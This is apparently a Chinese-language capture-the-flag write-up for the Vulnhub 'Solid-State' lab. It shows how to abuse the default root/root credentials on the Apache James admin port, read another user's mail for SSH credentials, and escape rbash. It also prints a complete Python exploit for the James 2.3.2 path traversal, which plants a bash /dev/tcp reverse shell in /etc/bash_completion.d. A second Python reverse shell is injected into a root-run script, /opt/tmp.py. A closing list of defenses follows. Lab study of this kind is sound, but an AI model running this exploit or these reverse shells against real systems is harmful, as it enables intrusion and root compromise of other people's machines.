[Vulnhub]Solid-State POP3邮件服务(James)+rbash逃逸
字数 1349 2025-08-19 12:41:24

Solid-State POP3邮件服务(James)+rbash逃逸渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap对目标进行扫描:

nmap -p- 192.168.8.100 --min-rate 1000 -sC -sV

扫描结果:

  • 开放端口及服务:
    • 22/tcp: OpenSSH 7.4p1 Debian 10+deb9u1
    • 25/tcp: JAMES smtpd 2.3.2
    • 80/tcp: Apache httpd 2.4.25
    • 110/tcp: JAMES pop3d 2.3.2
    • 119/tcp: JAMES nntpd
    • 4555/tcp: JAMES Remote Admin 2.3.2

1.2 服务识别

重点关注JAMES邮件服务的管理接口(4555端口),已知默认凭证为root/root。

2. 初始访问

2.1 利用James管理接口

  1. 连接到James管理服务:
nc 192.168.8.100 4555
  1. 使用默认凭证登录:
root
root
  1. 修改用户mindy的密码:
setpassword mindy mindy

2.2 通过POP3获取凭证

  1. 连接到POP3服务:
nc -nC 192.168.8.100 110
  1. 获取邮件内容:
user mindy
pass mindy
list
retr 2

从邮件中获取到凭证:

  • 用户名: mindy
  • 密码: P@55W0rd1!2@

3. SSH登录与rbash逃逸

3.1 受限shell环境

使用获取的凭证登录SSH:

ssh mindy@192.168.8.100

发现用户处于受限的rbash环境,具有以下限制:

  • 禁止更改目录(cd命令)
  • 禁止设置/取消设置shell选项和位置参数
  • 禁止执行包含斜杠(/)的命令
  • 禁止重定向输出
  • 禁止更改$PATH环境变量
  • 禁止导入和定义函数

3.2 rbash逃逸技术

使用SSH的-t选项绕过rbash限制:

ssh mindy@192.168.8.100 -t bash

原理分析:

  1. -t选项强制分配伪终端
  2. 直接启动新shell,覆盖默认的rbash
  3. 绕过rbash的限制,因为命令由远程SSH服务处理而非rbash内部

4. 权限提升

4.1 利用James目录穿越漏洞

使用Python脚本利用James的目录穿越漏洞:

#!/usr/bin/python3
import socket
import sys
import time

# 默认凭证
user = 'root'
pwd = 'root'

if len(sys.argv) != 4:
    sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
    sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
    sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
    sys.exit(1)

remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]

# 反向shell payload
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1'

def recv(s):
    s.recv(1024)
    time.sleep(0.2)

try:
    # 连接到James管理接口
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,4555))
    s.recv(1024)
    s.send((user + "\n").encode('utf-8'))
    s.recv(1024)
    s.send((pwd + "\n").encode('utf-8'))
    s.recv(1024)
    
    # 创建恶意用户
    s.send("adduser etc/bash_completion.d exploit\n".encode('utf-8'))
    s.recv(1024)
    s.send("quit\n".encode('utf-8'))
    s.close()
    
    # 连接到SMTP服务发送恶意邮件
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,25))
    s.send("ehlo team@team.pl\r\n".encode('utf-8'))
    recv(s)
    s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
    recv(s)
    s.send("rcpt to:etc/bash_completion.d>\r\n".encode('utf-8'))
    recv(s)
    s.send("data\r\n".encode('utf-8'))
    recv(s)
    s.send("From: team@team.pl\r\n".encode('utf-8'))
    s.send("\r\n".encode('utf-8'))
    s.send("'\n".encode('utf-8'))
    s.send((payload + "\n").encode('utf-8'))
    s.send("\r\n.\r\n".encode('utf-8'))
    recv(s)
    s.send("quit\r\n".encode('utf-8'))
    recv(s)
    s.close()
    
    print("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
    if '/bin/bash' in payload:
        print("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
    print("Connection failed.")

关键步骤:

  1. 通过管理接口创建恶意用户etc/bash_completion.d
  2. 通过SMTP发送邮件到..etc/bash_completion.d,利用目录穿越漏洞
  3. 恶意代码会被写入/etc/bash_completion.d目录
  4. 当用户登录时,Bash会自动执行该目录下的脚本

执行流程:

  1. 启动监听:
nc -lvnp 10032
  1. 运行漏洞利用脚本:
python3 exp.py 192.168.8.100 192.168.8.107 10032
  1. 通过SSH登录触发payload:
ssh mindy@192.168.8.100

4.2 进一步权限提升

  1. 上传pspy32工具监控进程:
chmod +x pspy32
  1. 发现root用户定期执行/opt/tmp.py

  2. 检查文件权限:

ls -la /opt/tmp.py
  1. 修改/opt/tmp.py添加反向shell代码:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.8.107",10033))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
  1. 启动监听等待root shell:
nc -lvnp 10033

5. 关键知识点总结

  1. James邮件服务漏洞

    • 默认凭证root/root
    • 目录穿越漏洞允许写入任意文件
    • 可通过SMTP服务利用
  2. rbash逃逸技术

    • 使用SSH的-t选项启动完整bash
    • 绕过路径限制和环境变量限制
  3. 持久化技术

    • 利用/etc/bash_completion.d自动执行
    • 利用cron job或定时任务
  4. 权限提升路径

    • 从普通用户到root的多种方法
    • 监控系统进程发现提权机会
  5. 防御措施

    • 更改默认凭证
    • 更新James邮件服务版本
    • 限制rbash用户的权限
    • 监控敏感目录如/etc/bash_completion.d的修改
Solid-State POP3邮件服务(James)+rbash逃逸渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap对目标进行扫描: 扫描结果: 开放端口及服务: 22/tcp: OpenSSH 7.4p1 Debian 10+deb9u1 25/tcp: JAMES smtpd 2.3.2 80/tcp: Apache httpd 2.4.25 110/tcp: JAMES pop3d 2.3.2 119/tcp: JAMES nntpd 4555/tcp: JAMES Remote Admin 2.3.2 1.2 服务识别 重点关注JAMES邮件服务的管理接口(4555端口),已知默认凭证为root/root。 2. 初始访问 2.1 利用James管理接口 连接到James管理服务: 使用默认凭证登录: 修改用户mindy的密码: 2.2 通过POP3获取凭证 连接到POP3服务: 获取邮件内容: 从邮件中获取到凭证: 用户名: mindy 密码: P@55W0rd1 !2@ 3. SSH登录与rbash逃逸 3.1 受限shell环境 使用获取的凭证登录SSH: 发现用户处于受限的rbash环境,具有以下限制: 禁止更改目录(cd命令) 禁止设置/取消设置shell选项和位置参数 禁止执行包含斜杠(/)的命令 禁止重定向输出 禁止更改$PATH环境变量 禁止导入和定义函数 3.2 rbash逃逸技术 使用SSH的-t选项绕过rbash限制: 原理分析: -t 选项强制分配伪终端 直接启动新shell,覆盖默认的rbash 绕过rbash的限制,因为命令由远程SSH服务处理而非rbash内部 4. 权限提升 4.1 利用James目录穿越漏洞 使用Python脚本利用James的目录穿越漏洞: 关键步骤: 通过管理接口创建恶意用户 etc/bash_completion.d 通过SMTP发送邮件到 ..etc/bash_completion.d ,利用目录穿越漏洞 恶意代码会被写入 /etc/bash_completion.d 目录 当用户登录时,Bash会自动执行该目录下的脚本 执行流程: 启动监听: 运行漏洞利用脚本: 通过SSH登录触发payload: 4.2 进一步权限提升 上传pspy32工具监控进程: 发现root用户定期执行 /opt/tmp.py 检查文件权限: 修改 /opt/tmp.py 添加反向shell代码: 启动监听等待root shell: 5. 关键知识点总结 James邮件服务漏洞 : 默认凭证root/root 目录穿越漏洞允许写入任意文件 可通过SMTP服务利用 rbash逃逸技术 : 使用SSH的 -t 选项启动完整bash 绕过路径限制和环境变量限制 持久化技术 : 利用 /etc/bash_completion.d 自动执行 利用cron job或定时任务 权限提升路径 : 从普通用户到root的多种方法 监控系统进程发现提权机会 防御措施 : 更改默认凭证 更新James邮件服务版本 限制rbash用户的权限 监控敏感目录如 /etc/bash_completion.d 的修改